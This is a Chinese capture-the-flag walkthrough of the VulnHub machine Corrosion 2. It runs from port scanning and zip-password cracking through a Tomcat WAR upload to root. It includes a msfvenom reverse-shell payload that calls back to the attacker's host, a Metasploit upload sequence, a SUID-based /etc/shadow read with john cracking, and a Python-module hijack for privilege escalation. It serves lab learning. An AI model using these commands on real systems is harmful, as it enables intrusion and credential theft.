靶机安装
Corrosion 1打一半出现点问题,还没解决,于是先把Corrosion 2打了
靶机地址:https://www.vulnhub.com/entry/corrosion-2,745/
信息收集
先找ip扫端口
arp-scan -l
nmap -A 192.168.160.144
三个端口22,80,8080
都访问一下,发现22打不开,其他两个可以正常访问
dirsearch扫一下
dirsearch -u “192.168.160.144:80”
dirsearch -u "192.168.160.144:8080"
80端口没扫到什么
8080端口扫到蛮多东西
/manager/需要账号密码登录
/readme.txt
算是点小提示吧
还有个/backup.zip下载下来
解压时发现要密码
于是用工具fcrackzip爆破
安装工具:
sudo apt install fcrackzip
把/backup.zip放到kali里来
命令:
fcrackzip -D -p ‘字典位置’ -u ‘需要爆破的zip’
fcrackzip -D -p '/home/plb/Desktop/rockyou.txt' -u '/home/plb/Desktop/backup.zip'
字典一般是在/usr/share/wordlists/rockyou.txt
我访问的时候有点问题,就把他放桌面上了
得到密码:@administrator_hi5
解压/backup.zip
在tomcat-users.xml里找到两个账号和密码
回到/manager登录
登录成功
Tomcat系统
漏洞攻击
发现可以上传VAR文件
所以可以通过部署war包来getshell
但是这里自己做war包并在里面写木马的话行不通,访问直接显示404
这里有两种方法
方法一:
用msfvenom来做war
msfvenom -p java/jsp_shell_reverse_tcp LHOST="192.168.160.133" LPORT=4444 -f war > '/home/plb/Desktop/cmdmsf.war'
命令介绍
然后将生成的cmdmsf.war部署
监听4444端口,然后访问/cmdmsf
这次不是404了
kali上也监听到了
再用个python来获取交互shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
方法二:
使用msf
Metasploit Framework(MSF)是一个广泛使用的开源渗透测试工具集和开发平台
在msf 有个可以在Tomcat 上传webshell的模块,有用户名和密码就可以使用
输入命令:
msfconsole
命令介绍
msfconsole是Metasploit Framework中最常用的命令行接口,提供了一个交互式shell,允许用户直接与Metasploit Framework进行交互。用户可以使用命令执行各种操作,如搜索模块、加载模块、设置模块参数、运行Exploits等。
搜索攻击模块:
search tomcat upload
使用第三个模块,/tomcat_mgr_upload
use 3
接下来设置账号、密码、ip信息、端口信息
密码
set HttpPassword melehifokivai
账号
set Httpusername manager
ip
et rhosts 192.168.160.144
端口
set rport 8080
查看当前加载的模块
show options
然后运行
run
输入shell
还可以输入其他命令看看
可以看到成功了
然后就是找有用的东西
在/home下可以看到两个用户
也可以用命令查
cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/sh"
两个用户
jaye和randy
先进到/home/randy下看看
在note.txt可以看到告诉我们没有权限
在user.txt里可以看到第一个flag
然后看看/home/
没权限
我们现在是tomcat
经过尝试发现切换成 jaye 用户
也可以连jaye的ssh
密码用之前爆出来的melehifokivai
切换后可以看到etc/passwd
然后在Files里可以可以看到look文件
用
cat look
file look
which look
试一下
是系统的look命令,look命令可以越权访问
第一次遇到这个知识
看了其他师傅的介绍后大概就是
直接cat /etc/shadow访问不了
但是
LFILE=/etc/shadow
./look '' "$LFILE"
这样就可以查看到/etc/shadow
这样etc/passwd和/etc/shadow都查看到了
在linux中,etc/passwd文件包含了系统中的用户账户信息(但不包含密码),而/etc/shadow文件则包含了用户的加密密码以及与密码相关的安全设置。
但是直接看的话看不出什么
需要使用john进行密码爆破
先把etc/passwd和/etc/shadow保存
vim passwd
vim shadow
分别粘贴进去后按Esc进入命令模式,然后输入:wq即可保存退出
然后将这两个文件合成一个
unshadow passwd shadow > pssword.txt
然后开始爆破账号密码
破解时间取决于密码的复杂程度
使用john工具进行破解
john --wordlist='/home/plb/Desktop/rockyou.txt' '/home/plb/Desktop/pssword.txt'
这里的rockyou.txt跟上面fcrackzip用的是同一个
默认地址也是/usr/share/wordlists/rockyou.txt,但我的被我移动到桌面上来了
这里爆破要好久
爆出来是
账号: jaye,密码:melehifokivai
账号:randy 密码:07051986randy
jaye和刚才的是一样的
连randy的ssh
base提权
查看一下可以执行的root权限的命令
sudo -l
发现了randombase64.py
可以看,但不可以改
但是可以看到其引入了base64模块
所以可以利用修改base64模块来达到提权
先找的其引用的base64脚本
查找命令:
locate base64
前面查sudo -l时告诉了我们路径/usr/bin/python3.8
所以就是/usr/bin/python3.8/base64.py了
用cd进入目录
cd /usr/lib/python3.8
并且查一下文件
ls -al
可以看到base64.py的权限是
-rwxrwxrwx
该权限可以改写
vim编辑器在这里用不了
这里要用nano
nano base64.py
在模块这里加上impor os即引用os模块
然后在下面加上os.system(“/bin/bash”)
Ctrl+o保存
Ctrl+x退出
接下来执行命令运行randombase64.py,就可以获取root权限了
sudo /usr/bin/python3.8 /home/randy/randombase64.py
cd /root
拿flag
分析总结
考点:
用fcrackzip爆破zip密码
部署war拿shell
利用john爆破etc/passwd和/etc/shadow
修改base64模块提权
遇到好几个之前没学过的知识,这个靶机的提权也比较简单好理解
比1好玩多了